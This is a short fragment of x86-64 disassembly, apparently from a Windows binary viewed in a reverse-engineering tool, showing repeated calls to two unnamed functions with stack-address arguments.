lea rdx, [rbp + 0x130]
call fcn.14004c9f0
nop
call fcn.140095fac
nop
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x130]
call fcn.14004c9f0
nop
call fcn.140095fac
nop
call fcn.140095fac
nop
call fcn.140095fac
int3